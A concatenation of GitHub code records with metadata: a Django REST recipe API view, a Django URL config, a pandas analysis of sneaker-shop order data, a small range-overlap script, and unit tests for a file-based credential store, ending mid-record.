"\"\"\"\nView for recipe api\n\"\"\"\n\nfrom rest_framework import viewsets\nfrom rest_framework.authentication import TokenAuthentication\n# for the use of the permission we check from user before they use\nfrom rest_framework.permissions import IsAuthenticated\n\nfrom core.models import Recipe\nfrom recipe import serializers\n\n#Tag\n#mixin is just things that we can add into view\nfrom rest_framework import mixins\nfrom core.models import Tag\n\n#Ingredients\nfrom core.models import Ingredient\n\n#image\nfrom rest_framework import status\nfrom rest_framework.decorators import action\nfrom rest_framework.response import Response\n\n\n#filter\nfrom drf_spectacular.utils import (\n extend_schema_view,\n extend_schema,\n OpenApiParameter,\n OpenApiTypes,\n)\n\n#changing the open api parameter\n@extend_schema_view(\n list=extend_schema(\n parameters=[\n OpenApiParameter(\n 'tags',\n OpenApiTypes.STR,\n description='Comma separated list of tag IDs to filter',\n ),\n OpenApiParameter(\n 'ingredients',\n OpenApiTypes.STR,\n description='Comma separated list of ingredient IDs to filter',\n ),\n ]\n )\n)\n\n\n# ModelViewSet is use the direct interact with a model\nclass RecipeViewSet(viewsets.ModelViewSet):\n \"\"\"View for manage recipe api\"\"\"\n #the variable names below are not to be modified\n serializer_class = serializers.RecipeDetailSerializer\n # the objects that are avaible for this view set\n queryset = Recipe.objects.all()\n authentication_classes = [TokenAuthentication]\n permission_classes = [IsAuthenticated]\n\n #recieving filter arguments as a list of ids, comma seperated\n def _params_to_ints(self, qs):\n 'convert a list of string to intergers'\n return [int(str_id) for str_id in qs.split(',')]\n\n\n # override the orignal function to filter the queryset thats related to the user\n def get_queryset(self):\n \"\"\"Retrieve recipes for authenticated user\"\"\"\n #user that is assigned with the request\n tags = self.request.query_params.get('tags')\n ingredients = self.request.query_params.get('ingredients')\n queryset = self.queryset\n if tags:\n tag_ids = self._params_to_ints(tags)\n queryset = queryset.filter(tags__id__in=tag_ids)\n if ingredients:\n ingredient_ids = self._params_to_ints(ingredients)\n queryset = queryset.filter(ingredients__id__in=ingredient_ids)\n\n return queryset.filter(\n user=self.request.user\n ).order_by('-id').distinct()\n\n\n def get_serializer_class(self):\n \"Return the serializer class for the request\"\n #the minor defference of RecipeSerializer vs RecipeDetailSerializer\n #is when the action are requesting the list of recipes that are without detail\n #so we use RecipeSerializer .\n #where as if with detail than we use RecipeDetailSerializer\n if self.action == 'list':\n return serializers.RecipeSerializer\n elif self.action == 'upload_image':\n return serializers.RecipeImageSerializer\n\n return self.serializer_class\n\n def perform_create(self, serializer): #we override the create method of django\n \"create a new recipe\"\n #when we create a new recipe through the create feature of the view,\n #it's going to call this function\n serializer.save(user=self.request.user)\n\n @action(methods=['POST'], detail=True, url_path='upload-image')\n def upload_image(self, request, pk=None):\n \"\"\"Upload an image to recipe.\"\"\"\n recipe = self.get_object()\n serializer = self.get_serializer(recipe, data=request.data)\n\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n@extend_schema_view(\n list=extend_schema(\n parameters=[\n OpenApiParameter(\n 'assigned_only',\n OpenApiTypes.INT, enum=[0, 1],\n description='Filter by items assigned to recipes.',\n ),\n ]\n )\n)\n\n#tag => using viewset; viewset can provide simple CRUD\n#GenericViewSet must be the last inheritance\n#mixins.UpdateModelMixin => we can update the tags\n#mixins.DestroyModelMixin => we can delete the tags\nclass BaseRecipeAttrViewSet(mixins.DestroyModelMixin,\n mixins.UpdateModelMixin,\n mixins.ListModelMixin,\n viewsets.GenericViewSet):\n \"\"\"Base viewset for recipe attributes.\"\"\"\n authentication_classes = [TokenAuthentication]\n permission_classes = [IsAuthenticated]\n\n def get_queryset(self):\n \"Filter queryset to authenticated user\"\n assigned_only = bool(\n int(self.request.query_params.get('assigned_only', 0))\n )\n queryset = self.queryset\n #assign_only = true than\n if assigned_only:\n queryset = queryset.filter(recipe__isnull=False)\n\n return queryset.filter(\n user=self.request.user\n ).order_by('-name').distinct()\n\n\nclass TagViewSet(BaseRecipeAttrViewSet):\n 'Manage tags in the database'\n serializer_class=serializers.TagSerializer\n queryset = Tag.objects.all()\n\nclass IngredientViewSet(BaseRecipeAttrViewSet):\n 'manage ingredients in the database'\n serializer_class=serializers.IngredientSerializer\n queryset = Ingredient.objects.all()\n", "repo_name": "laurencechengithub/recipe-app-api", "sub_path": "app/recipe/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 5581, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 55, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 55, "usage_type": "name"}, {"api_name": "recipe.serializers.RecipeDetailSerializer", "line_number": 58, "usage_type": "attribute"}, {"api_name": "recipe.serializers", "line_number": 58, "usage_type": "name"}, {"api_name": "core.models.Recipe.objects.all", "line_number": 60, "usage_type": "call"}, {"api_name": "core.models.Recipe.objects", "line_number": 60, "usage_type": "attribute"}, {"api_name": "core.models.Recipe", "line_number": 60, "usage_type": "name"}, {"api_name": "rest_framework.authentication.TokenAuthentication", "line_number": 61, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 62, "usage_type": "name"}, {"api_name": "recipe.serializers.RecipeSerializer", "line_number": 96, "usage_type": "attribute"}, {"api_name": "recipe.serializers", "line_number": 96, "usage_type": "name"}, {"api_name": "recipe.serializers.RecipeImageSerializer", "line_number": 98, "usage_type": "attribute"}, {"api_name": "recipe.serializers", "line_number": 98, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 116, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 116, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 116, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 118, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 118, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 118, "usage_type": "name"}, {"api_name": "rest_framework.decorators.action", "line_number": 108, "usage_type": "call"}, {"api_name": "drf_spectacular.utils.extend_schema_view", "line_number": 36, "usage_type": "call"}, {"api_name": "drf_spectacular.utils.extend_schema", "line_number": 37, "usage_type": "call"}, {"api_name": "drf_spectacular.utils.OpenApiParameter", "line_number": 39, "usage_type": "call"}, {"api_name": "drf_spectacular.utils.OpenApiTypes.STR", "line_number": 41, "usage_type": "attribute"}, {"api_name": "drf_spectacular.utils.OpenApiTypes", "line_number": 41, "usage_type": "name"}, {"api_name": "drf_spectacular.utils.OpenApiParameter", "line_number": 44, "usage_type": "call"}, {"api_name": "drf_spectacular.utils.OpenApiTypes.STR", "line_number": 46, "usage_type": "attribute"}, {"api_name": "drf_spectacular.utils.OpenApiTypes", "line_number": 46, "usage_type": "name"}, {"api_name": "rest_framework.mixins.DestroyModelMixin", "line_number": 136, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 136, "usage_type": "name"}, {"api_name": "rest_framework.mixins.UpdateModelMixin", "line_number": 137, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 137, "usage_type": "name"}, {"api_name": "rest_framework.mixins.ListModelMixin", "line_number": 138, "usage_type": "attribute"}, {"api_name": "rest_framework.mixins", "line_number": 138, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.GenericViewSet", "line_number": 139, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 139, "usage_type": "name"}, {"api_name": "rest_framework.authentication.TokenAuthentication", "line_number": 141, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 142, "usage_type": "name"}, {"api_name": "drf_spectacular.utils.extend_schema_view", "line_number": 120, "usage_type": "call"}, {"api_name": "drf_spectacular.utils.extend_schema", "line_number": 121, "usage_type": "call"}, {"api_name": "drf_spectacular.utils.OpenApiParameter", "line_number": 123, "usage_type": "call"}, {"api_name": "drf_spectacular.utils.OpenApiTypes.INT", "line_number": 125, "usage_type": "attribute"}, {"api_name": "drf_spectacular.utils.OpenApiTypes", "line_number": 125, "usage_type": "name"}, {"api_name": "recipe.serializers.TagSerializer", "line_number": 161, "usage_type": "attribute"}, {"api_name": "recipe.serializers", "line_number": 161, "usage_type": "name"}, {"api_name": "core.models.Tag.objects.all", "line_number": 162, "usage_type": "call"}, {"api_name": "core.models.Tag.objects", "line_number": 162, "usage_type": "attribute"}, {"api_name": "core.models.Tag", "line_number": 162, "usage_type": "name"}, {"api_name": "recipe.serializers.IngredientSerializer", "line_number": 166, "usage_type": "attribute"}, {"api_name": "recipe.serializers", "line_number": 166, "usage_type": "name"}, {"api_name": "core.models.Ingredient.objects.all", "line_number": 167, "usage_type": "call"}, {"api_name": "core.models.Ingredient.objects", "line_number": 167, "usage_type": "attribute"}, {"api_name": "core.models.Ingredient", "line_number": 167, "usage_type": "name"}]} {"seq_id": "26043890439", "text": "from django.conf.urls.defaults import patterns, url\nfrom fashion.feeds import FashionFeed, FashionByTagFeed\n\nurlpatterns = patterns('fashion.views',\n url('^$', 'fashion_list', name='fashion_list'),\n url('^(?P[-\\w]+)/$', 'fashion_detail', name='fashion_detail'),\n url('^tag/(?P[-\\w]+)/$', 'fashion_list', name='fashion_tag_list'),\n)\n\n#Feeds\nurlpatterns+= patterns('',\n url('^rss/$', FashionFeed(), name='fashion_feed'),\n url('^rss/(?P[-\\w]+)/$', FashionByTagFeed(), name='fashion_tag_feed'),\n)\n", "repo_name": "modamania/otdohni", "sub_path": "apps/fashion/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 534, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.conf.urls.defaults.patterns", "line_number": 4, "usage_type": "call"}, {"api_name": "django.conf.urls.defaults.url", "line_number": 5, "usage_type": "call"}, {"api_name": "django.conf.urls.defaults.url", "line_number": 6, "usage_type": "call"}, {"api_name": "django.conf.urls.defaults.url", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.urls.defaults.patterns", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.defaults.url", "line_number": 12, "usage_type": "call"}, {"api_name": "fashion.feeds.FashionFeed", "line_number": 12, "usage_type": "call"}, {"api_name": "django.conf.urls.defaults.url", "line_number": 13, "usage_type": "call"}, {"api_name": "fashion.feeds.FashionByTagFeed", "line_number": 13, "usage_type": "call"}]} {"seq_id": "8645177717", "text": "import pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\n# Reading CSV file with data and looking at it's header to understand which values do we have to work with\n\nsheet_url = \"https://docs.google.com/spreadsheets/d/16i38oonuX1y1g7C_UAmiK9GkY7cS-64DfiDMNiR41LM/edit#gid=0\"\ncsv_url = sheet_url.replace(\"/edit#gid=\", \"/export?format=csv&gid=\")\ndata = pd.read_csv(csv_url)\nprint(data.head())\n\n# Looking at summary statistics for given dataset:\n\nprint(data.describe())\n\n# To take closer look at outliers in order_amount column, let's plot the data.\n# As we can see below, there are quite a few outliers in our dataset.\n\nsns.set_style('darkgrid')\nsns.boxplot(data=data, x='order_amount')\nplt.title('Order amount distribution, uncleaned data')\nplt.show()\n\n# Adding a column with item price, to find any overpriced items.\n# As we can see, maximum item value is 25725.00, which is way above median value of 153.00 and does not seam right,\n# knowing, that all the shops are selling sneakers.\n\ndata['item_price'] = data.order_amount / data.total_items\nprint(data['item_price'].describe())\n\n# Let's take a look at item prices without 25725.00 outlier.\n# We can see, that there is still one item with a price outside of of our range (around 350.00).\n# But as this outlier has not an absurdly high price, we can leave it as a part of our analysis,\n# because it can be some very specific shoe type, like runner shoe for the long distances, that is\n# using innovative technologies or very unique designer shoes.\nplt.clf()\nsns.set_style('darkgrid')\nsns.boxplot(data=data.item_price[data.item_price < 25000])\nplt.title('Item price distribution, below 25K')\nplt.show()\n\n# Let's find out, who made the highest value purchases.\n# Below we can see, that all maximum orders where placed by user #607 in shop #42 with total items\n# in one order 2000 pieces at 4:00 AM. That should be counted as an outlier, because such customer behaviour\n# is not common and can not be counted in our statistical analysis, as is skewing our data.\n\nprint(data[data.order_amount == data.order_amount.max()])\n\n# Let's find out, what else was user #607 ordering.\n# Only purchases made by user #607 where those, with maximum total amount,\n# so we can remove this user from our data, to make more accurate statistical findings.\n\nprint(data[data.user_id == 607])\n\n# What particular shops are selling the most expensive shoes:\n\nprint('Shops selling most expensive shoes: ', data.shop_id[data.item_price > 250].unique())\n\n# Prices in most expensive shops:\n\nprint('Prices in most expensive shops: ', data[(data.shop_id == 42) | (data.shop_id == 78)].item_price.unique())\n\n# As shop with id #78 sells unrealistically overpriced shoes (over 25000.00), has to be removed from our data for\n# analysis. Let's take a look at another expensive shop #42. Here we can see, that all other users,\n# except user #607 were ordering small amount of items. So we are deciding to leave data containing orders from this\n# shop overall, but to remove orders, made by user with id #607.\n\nprint(data[data.shop_id == 42])\n\n# Removing outliers, that we found earlier:\n# shop with id #78 sells unrealistically overpriced shoes (over 25000.00);\n# orders made by user #607, who was ordering same extremely large amounts of high priced items from the same shop.\n\ndata_cleaned = data[(data.shop_id != 78) & (data.user_id != 607)]\nprint(data_cleaned.describe())\n\n# Plotting order amount distribution\nplt.clf()\nsns.set_style('darkgrid')\nsns.boxplot(data=data_cleaned, x='order_amount')\nplt.title('Order amount distribution')\nplt.show()\n\n# Printing some summary statistics for the cleaned from outliers data:\n\nprint('Average order amount: ', np.round(np.mean(data_cleaned.order_amount), 2), 'that lays between minimum of ',\n np.min(data_cleaned.order_amount), ' and maximum of ', np.max(data_cleaned.order_amount), '.')\nprint('Average order contained: ', np.round(np.mean(data_cleaned.total_items)),\n ' items, with maximum ordered items per single order being ', np.max(data_cleaned.total_items), '.')\nprint('Average item price is: ', np.round(np.mean(data_cleaned.item_price), 2), ' in range from ',\n np.min(data_cleaned.item_price), ' to ', np.max(data_cleaned.item_price), '.')\n\n# Plotting total orders by store distribution:\n\ntotal_order_amount_by_store = data_cleaned.groupby('shop_id').order_amount.sum()\n\nplt.clf()\nsns.set_style('darkgrid')\nsns.violinplot(x=total_order_amount_by_store)\nplt.title('Total order amount by store')\nplt.show()\n\nprint('Average total order amount for one shop is: ', np.round(total_order_amount_by_store.mean(), 2))\nprint('Minimum total order amount for one shop is: ', data_cleaned.groupby('shop_id').order_amount.sum().min())\nprint('Maximum total order amount for one shop is: ', data_cleaned.groupby('shop_id').order_amount.sum().max())\n\n# Plotting sales count by shop(how many orders each shop made):\nplt.clf()\nplt.plot(data_cleaned.groupby('shop_id').count()['order_id'])\nplt.title('Order count by shop')\nplt.xlabel('Shop id')\nplt.ylabel('Total orders count')\nplt.show()\n\n# We can see below, that shop #53 made 68 sales, which is maximum within shops in our data,\n# while shop #42 made a minimum of 34 sales. Average sales count for one shop is: 50.0\n\norder_count = data_cleaned.groupby('shop_id').count()['order_id'].reset_index().sort_values(['order_id'],\n ascending=False).rename(\n columns={'order_id': 'sales_count'})\nprint(order_count)\nprint('Average sales count for one shop is: ', np.round(np.mean(order_count.sales_count)))\n\n# We can see below, that shop #13 sold 136 pairs, which is maximum within shops in our data,\n# while shop #42 sold a minimal 63 pairs of sneakers. Average sold items total for one shop is: 99.0 pairs of shoes.\n\nshop_items_total = data_cleaned.groupby('shop_id').sum()['total_items'].reset_index().sort_values(['total_items'],\n ascending=False)\nprint(shop_items_total)\nprint('Average sold items total for one shop is: ', np.round(np.mean(shop_items_total.total_items)), 'pairs of shoes.')\n\n# From scatter plot below, we can see, that middle priced sneakers were sold the most.\n# But there is no strong relationship between price increase and sales increase.\n\nsales_by_price = data_cleaned.groupby('item_price').total_items.sum().reset_index().sort_values(['item_price'])\n\nplt.clf()\nsns.scatterplot(x=sales_by_price.item_price, y=sales_by_price.total_items)\nplt.title('Sold pairs by price')\nplt.show()\n\n# Finding customer, who ordered the most pairs of sneakers.\n# Average customer ordered total of: 33.0 pairs of shoes in 30 days period,\n# while customer #718 ordered total of 58 pairs, which is maximum within data.\n\ncustomer_orders = data_cleaned.groupby('user_id').total_items.sum().reset_index().sort_values(['total_items'],\n ascending=False)\nprint(customer_orders)\nprint('Average customer ordered total of: ', np.round(np.mean(customer_orders.total_items)),\n 'pairs of shoes in 30 days period.')\n\n# Finding customer, who spent the most.\n# Average customer spent total of: 4979.0 on sneakers in 30 days period,\n# while customer #718 spent total of 8952.0, which is maximum within data.\n\ncustomer_orders_amount = data_cleaned.groupby('user_id').order_amount.sum().reset_index().sort_values(['order_amount'],\n ascending=False)\nprint(customer_orders_amount)\nprint('Average customer spent total of: ', np.round(np.mean(customer_orders_amount.order_amount)),\n 'on sneakers in 30 days period.')\n\n# From plot below we can see, that more customers choose to pay with credit card, compared to debit and cash payments,\n# but the difference is not significant.\nplt.clf()\nsns.countplot(data=data_cleaned, x='payment_method')\nplt.title('Payment method distribution')\nplt.xlabel('Payment method')\nplt.ylabel('Orders')\nplt.show()\n\n# Changing type of data in column 'created_at' to datetime, adding new column with extracted hour of purchase and\n# plotting orders by hour. We can see, that in 24 hour range more orders were placed at 3 and 7 AM, as well as 5 PM (\n# 17:00), but there is no significant difference in order times.\n\ndata_cleaned.loc[:, 'created_at'] = data_cleaned.created_at.astype('datetime64[ns]')\ndata_cleaned.loc[:, 'order_time'] = data_cleaned['created_at'].dt.hour\n\nplt.clf()\nsns.countplot(x=data_cleaned['order_time'])\nplt.title('Orders by hour')\nplt.xlabel('Hour')\nplt.ylabel('Order count')\nplt.show()\n", "repo_name": "semo4ka8/coding-challenges", "sub_path": "Shopify/question1/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 8753, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_csv", "line_number": 10, "usage_type": "call"}, {"api_name": "seaborn.set_style", "line_number": 20, "usage_type": "call"}, {"api_name": "seaborn.boxplot", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "seaborn.set_style", "line_number": 38, "usage_type": "call"}, {"api_name": "seaborn.boxplot", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "seaborn.set_style", "line_number": 80, "usage_type": "call"}, {"api_name": "seaborn.boxplot", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "numpy.round", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "seaborn.set_style", "line_number": 99, "usage_type": "call"}, {"api_name": "seaborn.violinplot", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "numpy.round", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 109, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 112, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 112, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 113, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "numpy.round", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}, {"api_name": "seaborn.scatterplot", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "numpy.round", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 160, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 160, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 165, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 165, "usage_type": "name"}, {"api_name": "seaborn.countplot", "line_number": 166, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 167, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 167, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 168, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 168, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 169, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 169, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 170, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 170, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 179, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 179, "usage_type": "name"}, {"api_name": "seaborn.countplot", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 181, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 181, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 182, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 182, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 183, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 183, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 184, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 184, "usage_type": "name"}]} {"seq_id": "12878729309", "text": "import itertools\r\nimport collections\r\ninput_line=int(input())\r\ns=[]\r\nfor i in range(input_line):\r\n line = input().rstrip().split(\" \")\r\n line = list(map(int, line))\r\n start,end = line\r\n s.append(list(range(start,end+1)))\r\ns=(list(itertools.chain.from_iterable(s)))\r\nso_s=sorted(s)\r\n# print(so_s)\r\nc = collections.Counter(so_s)\r\n# print(max(c.values()))\r\nif max(c.values())==input_line:\r\n print(\"OK\")\r\nelse:print(\"NG\")\r\n\r\n# print(s[0])\r\n# for i in range(input_line):\r\n\r\n # if s[i] in s[i+1]:\r\n # print(\"OK\")\r\n # else:print(\"NG\")", "repo_name": "TGitGit/scratches", "sub_path": "skil_check/vacation.py", "file_name": "vacation.py", "file_ext": "py", "file_size_in_byte": 554, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "itertools.chain.from_iterable", "line_number": 10, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 10, "usage_type": "attribute"}, {"api_name": "collections.Counter", "line_number": 13, "usage_type": "call"}]} {"seq_id": "40740592461", "text": "import os\nimport tempfile\nimport unittest\nfrom unittest.mock import mock_open, patch\n\nfrom .. import GetDataFailed, InvalidUser, SetDataFailed, UnsetDataFailed\nfrom ..file import FileStorage\n\n\nclass TestFileStorage(unittest.TestCase):\n\n data = b'data'\n\n def get_filestorage(self):\n fs = FileStorage('data_dir')\n return fs\n\n @patch('pycred.storages.file.create_secure_file')\n @patch('pycred.storages.file.check_file_security')\n def test_get_data(self, create_mock, check_mock):\n with patch('builtins.open', new_callable=mock_open, read_data=self.data) as m:\n fs = self.get_filestorage()\n result = fs.get_data('user')\n m.assert_called_with('data_dir/user.dat', 'rb')\n self.assertEqual(self.data, result)\n\n @patch('pycred.storages.file.create_secure_directory')\n @patch('pycred.storages.file.create_secure_file')\n @patch('pycred.storages.file.check_file_security')\n def test_set_data(self, create_dir_mock, create_file_mock, check_mock):\n with patch('builtins.open', new_callable=mock_open) as m:\n fs = self.get_filestorage()\n fs.set_data('user', self.data)\n m.assert_called_with('data_dir/user.dat', 'wb')\n m().write.assert_called_with(self.data)\n\n def test_unset_data(self):\n with patch('os.unlink') as m:\n fs = self.get_filestorage()\n fs.unset_data('user')\n m.assert_called_with('data_dir/user.dat')\n\n @patch('pycred.storages.file.delete_unused_directory')\n def test_delete(self, delete_mock):\n fs = self.get_filestorage()\n fs.delete()\n delete_mock.assert_called_with('data_dir')\n\n @patch('pycred.storages.file.create_secure_file')\n @patch('pycred.storages.file.check_file_security')\n def test_get_data_raises_invaliduser_if_the_user_is_not_found(self, create_mock, check_mock):\n fs = self.get_filestorage()\n with self.assertRaises(InvalidUser):\n fs.get_data('user')\n\n @patch('pycred.storages.file.create_secure_file')\n @patch('pycred.storages.file.check_file_security')\n def test_get_data_raises_get_data_failed_for_permission_errors(self, create_mock, check_mock):\n with patch('builtins.open', side_effect=PermissionError()):\n fs = self.get_filestorage()\n with self.assertRaises(GetDataFailed):\n fs.get_data('user')\n\n @patch('pycred.storages.file.create_secure_file')\n @patch('pycred.storages.file.check_file_security')\n def test_set_data_raises_set_data_failed(self, create_mock, check_mock):\n fs = FileStorage('/invalid/random/path')\n with self.assertRaises(SetDataFailed):\n fs.set_data('user', self.data)\n\n def test_unset_data_raises_unset_data_failed(self):\n fs = FileStorage('data_dir')\n with patch('os.unlink', side_effect=PermissionError()):\n with self.assertRaises(UnsetDataFailed):\n fs.unset_data('user')\n\n def test_get_users(self):\n fs = self.get_filestorage()\n with patch('glob.glob', return_value=['data_dir/user2.dat', 'data_dir/user1.dat']):\n users = fs.get_users()\n self.assertEqual(['user1', 'user2'], users)\n\n def test_storage_file_created_with_correct_permissions(self):\n with tempfile.TemporaryDirectory(prefix='pycred-') as d:\n user = 'user'\n fs = FileStorage(d)\n path = fs.get_path(user)\n self.assertFalse(\n os.path.isfile(path), \"Failed precondition, file '{path}' exists\".format(path=path))\n fs.set_data(user, self.data)\n # Contains self-checks for permissions on creation.\n assert os.path.isfile(path)\n\n def test_storage_file_with_incorrect_permissions_raise_exception(self):\n with tempfile.TemporaryDirectory(prefix='pycred-') as d:\n user = 'user'\n fs = FileStorage(d)\n path = fs.get_path(user)\n self.assertFalse(\n os.path.isfile(path), \"Failed precondition, file '{path}' exists\".format(path=path))\n with open(path, 'w+'):\n pass\n with self.assertRaises(GetDataFailed):\n fs.get_data(user)\n", "repo_name": "devconsoft/pycred", "sub_path": "pycred/storages/test/test_file.py", "file_name": "test_file.py", "file_ext": "py", "file_size_in_byte": 4251, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "unittest.TestCase", "line_number": 10, "usage_type": "attribute"}, {"api_name": "file.FileStorage", "line_number": 15, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 21, "usage_type": "call"}, {"api_name": "unittest.mock.mock_open", "line_number": 21, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 18, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 19, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 31, "usage_type": "call"}, {"api_name": "unittest.mock.mock_open", "line_number": 